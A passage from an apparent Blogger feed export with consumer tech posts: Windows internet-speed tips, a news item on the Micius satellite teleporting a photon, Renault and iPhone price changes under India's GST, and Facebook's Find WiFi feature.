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Generally, bandwidth is actually the rate at which data travels to and fro from your computer. In other words, bandwidth is the range covered for data transmission between an upper range and lower range. Bandwidth is usually controlled by your Internet Service Provider (ISP). However, there is some reservable bandwidth limit allocated to your system by default for its use. Apparently, 20-30% of internet speed of the total speed of a connection is included in this bandwidth. However, you can now free this unallocated limit bandwidth to experience high-speed internet.<br />
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Here’s what you need to do to edit limit reservable bandwidth:<br />
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Step 1: Press Windows Key + R combination to open the Run dialog box. Type gpedit.msc in Run dialog box and hit Enter to open the Local Group Policy Editor.<br />
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Step 2: Click on Administrative Template folder showing on the left side in the dialog box. Then, choose Network option on the right side of the box. Later, click on Qos Packet Scheduler from the right list under Settings.<br />
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Step 3: Look for the file Limit reservable bandwidth. It will show as ‘Not Configured’ status by default. To modify this setting, double click on it.<br />
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Step 4: Select Enabled and in the Options section set the bandwidth limit percentage from 20 to 0 and click on Apply followed by OK.<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhXmBMHXu05G_qsGZDV7uuNoptUjTqozUPsZ6BzULdx-EDAxX9rf3pHPDYI-ZLYTd4EQ27PUpuK13sQXpSBN2rP5MM0THEnj5FnY1PxUlnzxqgxda_BcL8IlcwMJoyQ0OufrNo9JJPBHER/s1600/4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="273" data-original-width="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhXmBMHXu05G_qsGZDV7uuNoptUjTqozUPsZ6BzULdx-EDAxX9rf3pHPDYI-ZLYTd4EQ27PUpuK13sQXpSBN2rP5MM0THEnj5FnY1PxUlnzxqgxda_BcL8IlcwMJoyQ0OufrNo9JJPBHER/s1600/4.jpg" /></a></div>
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It’s done. You will now have the unallocated reserved bandwidth at your disposal for enjoying high-speed internet experience. Besides, bandwidth reservation, there are many other factors that can cause reduced internet speed such as an obsolete software like antivirus and many more processes running in the background. To stop such processes, open the Task Manager or press ALT+CTRL+DEL and end the running processes to help boost or increase your internet speed.<br />
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Method 2: Managing Cache<br />
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Caches are the temporarily stored internet data which is used by browsers like Internet explorer, Google Chrome, Mozilla Firefox etc. to open any site faster after visiting any site. This cache gets stored automatically to your computer. Although caches are designed to speed up your internet speed but sometimes it can slow down the internet speed when they exceed beyond the limited size. In that case, we have to clear the caches to speed up the internet.<br />
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Follow the steps below to clear cache and increase internet speed:<br />
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<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMKKKMloJ85CGM3JZUn9h38l-QH-1xQNV7pfCZRu9_rYRKwIjHfTWb92PVYRil8FCvfU3ecFuzy9vpnuY2CAwQQOknM3lSKGD17YmQus9tRHz27NbSuToZ5n_ybBCCg-zmjYW27HZlEcRy/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="217" data-original-width="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMKKKMloJ85CGM3JZUn9h38l-QH-1xQNV7pfCZRu9_rYRKwIjHfTWb92PVYRil8FCvfU3ecFuzy9vpnuY2CAwQQOknM3lSKGD17YmQus9tRHz27NbSuToZ5n_ybBCCg-zmjYW27HZlEcRy/s1600/5.png" /></a></div>
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Step 1: Open Google Chrome and press CTRL+SHIFT+DELETE.<br />
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<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgrg4I3pKQVVoWM4Mn0G1EoyaBeU3e-MOefucDOGnjqX6-vTzXem7b7EuITcXJh960S-jn6mpUsITxAJNBcO5uweeP-GLNAXf1NaFWN_FGy_huIOWUSSCX7TWf0_AWl3qeJ8GqIK7-UeGv/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="290" data-original-width="292" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgrg4I3pKQVVoWM4Mn0G1EoyaBeU3e-MOefucDOGnjqX6-vTzXem7b7EuITcXJh960S-jn6mpUsITxAJNBcO5uweeP-GLNAXf1NaFWN_FGy_huIOWUSSCX7TWf0_AWl3qeJ8GqIK7-UeGv/s1600/6.png" /></a></div>
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<br />
Step 2: Choose Temporary Internet Files, History and Cache data.<br />
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<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWJ0tAW-CnAGFDOaV4E_393FFHrIUWX57ETHQKDAZNMbCRwKTDgjuhcRvQOnW4zHX5DIdNkM0VWdPi3Cr96rO0ohYm0IkhethqyGSnioRl3Etw8HD_2hPvlElhyphenhyphenev72DULHKjYKAJ7mqNK/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="199" data-original-width="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWJ0tAW-CnAGFDOaV4E_393FFHrIUWX57ETHQKDAZNMbCRwKTDgjuhcRvQOnW4zHX5DIdNkM0VWdPi3Cr96rO0ohYm0IkhethqyGSnioRl3Etw8HD_2hPvlElhyphenhyphenev72DULHKjYKAJ7mqNK/s1600/7.png" /></a></div>
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Step 3: Click on Delete.<br />
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<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV2ZRFb00azNEQ0OzzZIribDVwnjosfZ-sZQX7T8pxZ_NRERAuW5cQX17RcYrKe6eq6_8_nJ3LgGCJdSD_nre1LyndUNLuQ9ypEW1UqF58PiF7LMzzcPc3EonJrZkQHKRGUQ9J6uql2c-3/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="221" data-original-width="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV2ZRFb00azNEQ0OzzZIribDVwnjosfZ-sZQX7T8pxZ_NRERAuW5cQX17RcYrKe6eq6_8_nJ3LgGCJdSD_nre1LyndUNLuQ9ypEW1UqF58PiF7LMzzcPc3EonJrZkQHKRGUQ9J6uql2c-3/s1600/8.png" /></a></div>
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This function will delete all your temporary internet data, history and cache data from your computer, thereby increasing the internet speed of your computer. By clearing history data on a regular basis can keep your computer secure from hacking attacks.<br />
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Method 3: Increase Speed using Device Manager<br />
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Step 1: First, right click on My Computer and click on Properties.<br />
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<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV2ZRFb00azNEQ0OzzZIribDVwnjosfZ-sZQX7T8pxZ_NRERAuW5cQX17RcYrKe6eq6_8_nJ3LgGCJdSD_nre1LyndUNLuQ9ypEW1UqF58PiF7LMzzcPc3EonJrZkQHKRGUQ9J6uql2c-3/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="221" data-original-width="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV2ZRFb00azNEQ0OzzZIribDVwnjosfZ-sZQX7T8pxZ_NRERAuW5cQX17RcYrKe6eq6_8_nJ3LgGCJdSD_nre1LyndUNLuQ9ypEW1UqF58PiF7LMzzcPc3EonJrZkQHKRGUQ9J6uql2c-3/s1600/8.png" /></a></div>
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Step 2: Then, click on Device manager.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6_HCIIh2I3and2bRv7RJWqANTw7OhiMm-3M9BRm43JTg3wZZiltdgwfYgx2qdXtAHY6qV7g-YMKL05fcGDiUsF86tFAEVubz8iSXMWeblG91UfAjRIbvCeNMqh0ksr2zEwFvWHA_Kf9_v/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="221" data-original-width="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6_HCIIh2I3and2bRv7RJWqANTw7OhiMm-3M9BRm43JTg3wZZiltdgwfYgx2qdXtAHY6qV7g-YMKL05fcGDiUsF86tFAEVubz8iSXMWeblG91UfAjRIbvCeNMqh0ksr2zEwFvWHA_Kf9_v/s1600/9.png" /></a></div>
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Step 3: It will open a new window. Here, you need to expand the Ports.<br />
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<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEQHGb0kw7rQvver3udTBw5-c1p3WVsbQTu1ACFVg9ykYTjytL3yyAiwCrlWvR3KlyR3DSOCPNqpx7bdX39arqZMrAFaNGFp9exc7gG1SlZSuSEQcXNuds1q0TSe61cEf1-D951hCnfy4E/s1600/10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="300" data-original-width="270" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEQHGb0kw7rQvver3udTBw5-c1p3WVsbQTu1ACFVg9ykYTjytL3yyAiwCrlWvR3KlyR3DSOCPNqpx7bdX39arqZMrAFaNGFp9exc7gG1SlZSuSEQcXNuds1q0TSe61cEf1-D951hCnfy4E/s1600/10.png" /></a></div>
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Step 4: Then, click on Communications Ports and later double click on it.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrj8a0biza0wuTB85jSvbTjm6LLkQx1l-95PuRWGhaPbH4NM1N7Iahg_fhO2LnoiKhyphenhyphenMdKeDLq2ulwQ3byhLRC-P6JSQt6ZpUmGg-A8MNB7MmtDJF8hfOHW_W5RRef1LHb9Nwv8k5o1YCN/s1600/11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="172" data-original-width="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrj8a0biza0wuTB85jSvbTjm6LLkQx1l-95PuRWGhaPbH4NM1N7Iahg_fhO2LnoiKhyphenhyphenMdKeDLq2ulwQ3byhLRC-P6JSQt6ZpUmGg-A8MNB7MmtDJF8hfOHW_W5RRef1LHb9Nwv8k5o1YCN/s1600/11.jpg" /></a></div>
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Step 5: Now, click on Port Settings. Then, change Bit per second to a maximum available and Flow Control to Hardware.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj_l21HBLYRvhX1IxrIA68UK0iX-3M8sRrWDwvolcfGHHAi3YUEPmOJ2U1wjPx8jsqIGMTvHpcXFoOnZ9hB_stHnDawFEe8_lJLDt9Hge9dhOt2rjKtkbWPECpYCceAvj9vZ9pch8RkZVN/s1600/12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="204" data-original-width="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj_l21HBLYRvhX1IxrIA68UK0iX-3M8sRrWDwvolcfGHHAi3YUEPmOJ2U1wjPx8jsqIGMTvHpcXFoOnZ9hB_stHnDawFEe8_lJLDt9Hge9dhOt2rjKtkbWPECpYCceAvj9vZ9pch8RkZVN/s1600/12.png" /></a></div>
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It’s done. All you need to do is save it and restart your computer to enjoy the increased speed up to 20%-30%.<br />
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Setting Up Google DNS<br />
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In this method, you can change your default ISP provided by DNS to the Google DNS on your Windows computer. This will boost your internet speed by 20-30%, thereby offering high-internet speed while browsing.<br />
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Here’s what you need to do:<br />
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Step 1: Firstly, go to the Control Panel in your Windows PC and select Network and sharing center.<br />
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<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj_l21HBLYRvhX1IxrIA68UK0iX-3M8sRrWDwvolcfGHHAi3YUEPmOJ2U1wjPx8jsqIGMTvHpcXFoOnZ9hB_stHnDawFEe8_lJLDt9Hge9dhOt2rjKtkbWPECpYCceAvj9vZ9pch8RkZVN/s1600/12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="204" data-original-width="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj_l21HBLYRvhX1IxrIA68UK0iX-3M8sRrWDwvolcfGHHAi3YUEPmOJ2U1wjPx8jsqIGMTvHpcXFoOnZ9hB_stHnDawFEe8_lJLDt9Hge9dhOt2rjKtkbWPECpYCceAvj9vZ9pch8RkZVN/s1600/12.png" /></a></div>
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Step 2: Then, click on Change Adapter Settings.<br />
Step 3: Now, you will see all the networks. Just, choose the network that you want to configure for Google DNS. However, if you want to try out Google’s DNS and want to change Ethernet settings, then simply right-click on Local Area Connection and select Properties.<br />
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<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjioFxMJ2TmU6Uhe9nDg807_azCBGz4GsSpykiD1vnIfi49IqRm_mc7hOSyuHMjExsGJXEG8sdq9YOiRwOr75pLqIXGZMJdDQ3GiqaMy5SwSKvXyOCVKCq6qMsMq5nbCmw7OBXuV_9B_GRE/s1600/13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="300" data-original-width="267" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjioFxMJ2TmU6Uhe9nDg807_azCBGz4GsSpykiD1vnIfi49IqRm_mc7hOSyuHMjExsGJXEG8sdq9YOiRwOr75pLqIXGZMJdDQ3GiqaMy5SwSKvXyOCVKCq6qMsMq5nbCmw7OBXuV_9B_GRE/s1600/13.jpg" /></a></div>
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Step 4: Click on Networking tab and look for This connection uses the following items. Then, choose the option Internet Protocol Version 4 (TCP/IPv4) under it and then click on Properties.<br />
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<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic2eG2AmrgfyirfoC0BmQJoFao6kt-j7ji_sNBhk-GzZbH8YXfc-g1iE_KuNPBsDBVOua0XnyDM6asd_8VggECNikkagxuJO_5bSHe0U91Pep7OCBti0eZjOle70qmkz2fU40HRqxqSCtr/s1600/14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="300" data-original-width="234" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic2eG2AmrgfyirfoC0BmQJoFao6kt-j7ji_sNBhk-GzZbH8YXfc-g1iE_KuNPBsDBVOua0XnyDM6asd_8VggECNikkagxuJO_5bSHe0U91Pep7OCBti0eZjOle70qmkz2fU40HRqxqSCtr/s1600/14.jpg" /></a></div>
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<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8soRHve9QnakZ46E3TFRqfszL6diy1WdKcdAvbCSD940_4kcCeWiAlenvekkDpedjBb89aNHr5H-jiY_f-f6Z3NaLDSWm4avJKgVVdR_H8SQdDmIcsadpqSmjGD5ml0VuTPNwqOW-BiI7/s1600/15.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="300" data-original-width="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8soRHve9QnakZ46E3TFRqfszL6diy1WdKcdAvbCSD940_4kcCeWiAlenvekkDpedjBb89aNHr5H-jiY_f-f6Z3NaLDSWm4avJKgVVdR_H8SQdDmIcsadpqSmjGD5ml0VuTPNwqOW-BiI7/s1600/15.jpg" /></a></div>
Step 5: Now, select the radio button Use the following DNS server addresses. By default, there will be some default IP written on it, simply clear them. Then, fill the value of Google DNS value that is 8.8.8.8 (or) 8.8.4.4 and click on “OK”.<br />
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That’s it! You are done. All you have to do is restart your computer to enjoy the increased speed. You can always switch back to the default DNS settings of your ISP, if you don’t like the new settings.<br />
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https://techviral.net/boost-increase-internet-speed/<br />
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http://www.thewindowsclub.com/configure-reservable-bandwidth-settings-windows<br />
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-28809393582182611762017-07-12T13:46:00.005+05:302017-07-12T13:46:57.552+05:30China has successfully achieved Teleportation.<div dir="ltr" style="text-align: left;" trbidi="on">
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Is Teleportation possible? YES,Chinese researchers have Teleport "Photon" 500 kms above Earth.</h3>
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Researchers in China have teleported a photon from the ground to a satellite orbiting more than 500 kilometers above.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIHyuyskI9xLjQ8YvS3iPXmGT02E6D6aAiaNUZdD-XQbzI9w65wYNkJcsRQh1WTTkr1w6ZMsU6xfmpjNOOxaljaf4WGko1ZAxCLeYPmo92aU6L0mGGsI0BbbXmLHnCoqFXA6TMpUdB8tIK/s1600/micius-firlatildi_640x360.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Is Teleportation possible? YES,Chinese researchers have Teleport "Photon" 500 kms above Earth." border="0" data-original-height="360" data-original-width="640" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIHyuyskI9xLjQ8YvS3iPXmGT02E6D6aAiaNUZdD-XQbzI9w65wYNkJcsRQh1WTTkr1w6ZMsU6xfmpjNOOxaljaf4WGko1ZAxCLeYPmo92aU6L0mGGsI0BbbXmLHnCoqFXA6TMpUdB8tIK/s640/micius-firlatildi_640x360.jpg" title="Is Teleportation possible? YES,Chinese researchers have Teleport "Photon" 500 kms above Earth." width="640" /></a></div>
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In past year 2016 China had successfully launched the world's first quantum-enabled satellite <b>"Micius / Mozi" </b>named after an ancient Chinese philosopher who died in 391 B.C. The rocket placed Micius in a Sun-synchronous orbit so that it passes over the same point on Earth at the same time each day.</div>
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Micius is a highly sensitive photon receiver that can detect the quantum states of single photons fired from the ground. That’s important because it should allow scientists to test the technological building blocks for various quantum feats such as entanglement, cryptography, and teleportation.</div>
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On 10th July , the Micius team announced the results of its first experiments. The team created the first satellite-to-ground quantum network, in the process smashing the record for the longest distance over which entanglement has been measured. And they’ve used this quantum network to teleport the first object from the ground to orbit.</div>
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Teleportation has become a standard operation in quantum optics labs around the world. The technique relies on the strange phenomenon of entanglement. This occurs when two quantum objects, such as photons, form at the same instant and point in space and so share the same existence. In technical terms, they are described by the same wave function.</div>
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In theory, there should be no maximum distance over which this can be done. But entanglement is a fragile thing because photons interact with matter in the atmosphere or inside optical fibers, causing the entanglement to be lost.</div>
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As a result, the distance over which scientists have measured entanglement or performed teleportation is severely limited. “Previous teleportation experiments between distant locations were limited to a distance on the order of 100 kilometers, due to photon loss in optical fibers or terrestrial free-space channels,” says the team.</div>
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But Micius changes all that because it orbits at an altitude of 500 kilometers, and for most of this distance, any photons making the journey travel through a vacuum. To minimize the amount of atmosphere in the way, the Chinese team set up its ground station in Ngari in Tibet at an altitude of over 4,000 meters. So the distance from the ground to the satellite varies from 1,400 kilometers when it is near the horizon to 500 kilometers when it is overhead.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivIAbAsmFzf_J0fYuKtDetV8oBtd8mq-kjUQw480QDobqQKmgJUpmp8cvTCC93AXErTx2bYx80BWYS7OokrmmISmYO4Pcct-YJk2Jafbx90jg782sGgCs7zsVjLtJBPldSfZKole9ucBcl/s1600/diagram.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Is Teleportation possible? YES,Chinese researchers have Teleport "Photon" 500 kms above Earth." border="0" data-original-height="356" data-original-width="600" height="378" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivIAbAsmFzf_J0fYuKtDetV8oBtd8mq-kjUQw480QDobqQKmgJUpmp8cvTCC93AXErTx2bYx80BWYS7OokrmmISmYO4Pcct-YJk2Jafbx90jg782sGgCs7zsVjLtJBPldSfZKole9ucBcl/s640/diagram.jpg" title="Is Teleportation possible? YES,Chinese researchers have Teleport "Photon" 500 kms above Earth." width="640" /></a></div>
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To perform the experiment, the Chinese team created entangled pairs of photons on the ground at a rate of about 4,000 per second. They then beamed one of these photons to the satellite, which passed overhead every day at midnight. They kept the other photon on the ground.</div>
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Finally, they measured the photons on the ground and in orbit to confirm that entanglement was taking place, and that they were able to teleport photons in this way. Over 32 days, they sent millions of photons and found positive results in 911 cases. “We report the first quantum teleportation of independent single-photon qubits from a ground observatory to a low Earth orbit satellite through an up link channel with a distance up to 1400 km,” says the Chinese team.</div>
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Teleportation which we used to see in films is not more a fiction but Reality now. Photon disappeared from Earth and appeared in space.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com2tag:blogger.com,1999:blog-1778979857251896130.post-53443244105305798302017-07-06T00:44:00.003+05:302017-07-06T00:44:49.370+05:30GST Impact : Renault cuts vehicle prices up to 7%<div dir="ltr" style="text-align: left;" trbidi="on">
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Kwid Climber AMT, Duster RxZ and Lodgy Stepway RxZ (7S) now cheaper.</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6r3jGNrwiMhIun0FBskn8uCTK-1R_FxJRrSflHUMMNK2Io2su7tFS8KrFSe_aEKtU-ua8hQGXXFzsCUhWMZ1eLrj7x_1AzawsZDjE-08f00z8VrOtlhNKhCAXNLmsHUhYQSSZZm4EVi-U/s1600/kwid+2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kwid Climber AMT, Duster RxZ and Lodgy Stepway RxZ (7S) now cheaper." border="0" data-original-height="216" data-original-width="520" height="264" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6r3jGNrwiMhIun0FBskn8uCTK-1R_FxJRrSflHUMMNK2Io2su7tFS8KrFSe_aEKtU-ua8hQGXXFzsCUhWMZ1eLrj7x_1AzawsZDjE-08f00z8VrOtlhNKhCAXNLmsHUhYQSSZZm4EVi-U/s640/kwid+2.jpg" title="Kwid Climber AMT, Duster RxZ and Lodgy Stepway RxZ (7S) now cheaper." width="640" /></a></div>
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Renault India today announced a reduction in prices of up to 7 percent on some of its models, due to a cutback in effective tax rate after the implementation of the Goods and Service Tax (GST).<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXpFlKKjtpnGBFU6ZP3tV2nG7tKGidYNUV0c-25dkyXlAl_ghiYJGUuWEzHAFHeMNl0bHJnyo_o4oKv_HxYVyckztamnJdKY30cAotU_KPn3GgVWMKNZYikC4B1kKxYtK0Y6LRv-Nn2RIi/s1600/lodhy.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kwid Climber AMT, Duster RxZ and Lodgy Stepway RxZ (7S) now cheaper." border="0" data-original-height="280" data-original-width="420" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXpFlKKjtpnGBFU6ZP3tV2nG7tKGidYNUV0c-25dkyXlAl_ghiYJGUuWEzHAFHeMNl0bHJnyo_o4oKv_HxYVyckztamnJdKY30cAotU_KPn3GgVWMKNZYikC4B1kKxYtK0Y6LRv-Nn2RIi/s640/lodhy.jpg" title="Kwid Climber AMT, Duster RxZ and Lodgy Stepway RxZ (7S) now cheaper." width="640" /></a></div>
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With the price revision, the Kwid Climber AMT is cheaper by Rs 5,200 to Rs 29,500, the Duster RxZ is cheaper by Rs 30,400 to Rs 1.04 lakh, and the Lodgy Stepway RxZ (7-seater) sees a price cut in the range of Rs 25,700 and Rs 88,600, the French carmaker announced.</div>
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The price change will vary depending on the state, model and the variant purchased, based on the tax rates applicable prior to GST.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaKPP6UKLlFFU4vp6XBt4-fyKep_stG0YqJtQWmEXLJiDqzY29LsYgd6PJTxPpYxoG_PwmvwcJBJLVzdWXGsa4NSwU8gR57EmmBo3dc_YCopIhXIapkrvBTbJ6WS5gdREl_mh4bLx1KZwV/s1600/duster+2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kwid Climber AMT, Duster RxZ and Lodgy Stepway RxZ (7S) now cheaper." border="0" data-original-height="430" data-original-width="700" height="392" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaKPP6UKLlFFU4vp6XBt4-fyKep_stG0YqJtQWmEXLJiDqzY29LsYgd6PJTxPpYxoG_PwmvwcJBJLVzdWXGsa4NSwU8gR57EmmBo3dc_YCopIhXIapkrvBTbJ6WS5gdREl_mh4bLx1KZwV/s640/duster+2.png" title="Kwid Climber AMT, Duster RxZ and Lodgy Stepway RxZ (7S) now cheaper." width="640" /></a></div>
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With the price reduction, Renault joins a host of carmakers such as Maruti, Mahindra, Tata Motors, Honda and Toyota, as well as luxury carmakers such as Jaguar, Audi, BMW and Mercedes who have passed on the tax benefits under GST to customers.</div>
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The country switched to the unified tax regime with effect from July 1, 2017. Under GST, the tax incidence on passenger vehicles (with the exception of hybrids) has largely dropped and is now in the range of 2.25 to 12 percent, depending on the category. Hybrids, however, have seen a 12.7 percent hike in effective tax rate which has resulted in an increase in the prices of such vehicles.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-2317370561468724232017-07-04T00:26:00.001+05:302017-07-04T00:26:52.245+05:30Latest Feature of Facebook help's you to find Wi-Fi hotspots near you. <div dir="ltr" style="text-align: left;" trbidi="on">
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<b>Facebook now wants to help you to find nearby Wi-Fi hotspots.</b></h3>
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Last year in November, the "Find WiFi" feature was rolled-out for iOS devices in selected countries only, now Facebook expands this feature on both iOS and android devices globally.</div>
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<img alt="Facebook now wants to help you to find nearby Wi-Fi hotspots." border="0" data-original-height="393" data-original-width="699" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO0vxMWjB3P56usgQ9N-BUu8YYp311z-tcA07ZGzNp754ZhB7yRLCRVJnG2bZ2sd3GFW7IJp8vm_tkMpvi0vZ9XzSpqCWnJ_mfkKhzVYDotaG8OWTLPQ976iiq_LSk8W4cEBd5wZ0BlPUw/s640/facebook.jpg" title="Facebook now wants to help you to find nearby Wi-Fi hotspots." width="640" /></div>
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Facebook, the world's biggest website and app that just celebrated reaching th landmark of 2 billion users is clearly gunning for more. Not content with its stupendous numbers, the firm knows that its growth from here on linked to the growth of digital access. Enter "Find Wifi". Last year in November, Facebook had begun testing a feature for finding free and public hotspots nearby. This feature was rolled-out for iOS devices in selected countries only.Facebook has now expanded this "Find WiFi" feature on both iOS and android devices globally. This feature is useful for those who are in the areas where cellular data is poor.Th social network is rolling out a new feature that lists hotspots for connecting to the internet on its app around the world, it announced in a blog post.<br />
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Let's say you're running low on data, or mobile reception is poor in the area, or you need to find somewhere to work with your laptop. You just boot up the Facebook app, select the feature, and it'll show you a map of hotspots nearby - cafes, bars, museums, and so on — that you could visit.It was previously tested in "a handful of countries" in 2016 — and now it is being officially launched globally. (It may not be available in your location immediately — it didn't appear when we checked on an Android device in London - but will in time.)<br />
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It's available on both Android and iOS, but it likely won't be exhaustive at first. Companies need to manually add their Wi-Fi network to the app (the same way they would their phone number or street address), and that won't happen overnight.<br />
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The ‘Find Wi-Fi’ feature is currently available for iOS devices in India, and the update should hit Android users soon.<br />
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-38446926053992364522017-07-02T14:32:00.000+05:302017-07-02T14:36:07.822+05:30Forget buying Apple's iPhone from Dubai or Bangkok, it is now cheaper in India thanks to GST<div dir="ltr" style="text-align: left;" trbidi="on">
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GST Makes Apple's iPhone Cheaper in India Than Bangkok or Dubai.</h2>
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<b>The Goods and Services Tax (GST)</b> roll-out from 1 July still has a number of people confused as to its impact. The prices of gadgets are uncertain, though mobile phone makers have said that they will absorb any additional cost. It seems the GST roll-out has a positive effect on the prices of Apple devices, as far as consumers are concerned anyway.<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitiK5Vv-C_v0j4XhjHLugoW6K7TcTdWyzsi-UAyy2qyCPwvOy0o2TDrbpZk9ZmGYKLCc-G_TbSB4C45SyekaXzxq5fO8GwkEsnEdaoTIdXtDYHA5CficoXEWKdbJmiBVcO-hD4aTcxnqOS/s1600/ipad-pro-red-iphone-7s.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="GST Makes Apple's iPhone Cheaper in India Than Bangkok or Dubai." border="0" data-original-height="333" data-original-width="545" height="390" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitiK5Vv-C_v0j4XhjHLugoW6K7TcTdWyzsi-UAyy2qyCPwvOy0o2TDrbpZk9ZmGYKLCc-G_TbSB4C45SyekaXzxq5fO8GwkEsnEdaoTIdXtDYHA5CficoXEWKdbJmiBVcO-hD4aTcxnqOS/s640/ipad-pro-red-iphone-7s.jpg" title="GST Makes Apple's iPhone Cheaper in India Than Bangkok or Dubai." width="640" /></a></div>
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iPhone</h4>
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The iPhone sees price cuts across the board. These cuts range from Rs 1,200 to Rs 6,600. But as you can see, depending on the model you’re looking for, you can get a better deal on Amazon and Flip-kart.<br />
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iPhone model<span style="white-space: pre;"> </span>Pre-GST MRP<span style="white-space: pre;"> </span>Post-GST MRP<span style="white-space: pre;"> </span>Amazon MRP<span style="white-space: pre;"> </span> Flipkart MRP<br />
SE 32 GB<span style="white-space: pre;"> </span> 27,200<span style="white-space: pre;"> </span> 26,000<span style="white-space: pre;"> </span> NA<span style="white-space: pre;"> </span> 22,799<br />
SE 128 GB<span style="white-space: pre;"> </span> 37,200<span style="white-space: pre;"> </span> 35,500<span style="white-space: pre;"> </span> NA<span style="white-space: pre;"> </span> NA<br />
6S 32 GB<span style="white-space: pre;"> </span> 50,000<span style="white-space: pre;"> </span> 46,900<span style="white-space: pre;"> </span> 40,490<span style="white-space: pre;"> </span> 37,299<br />
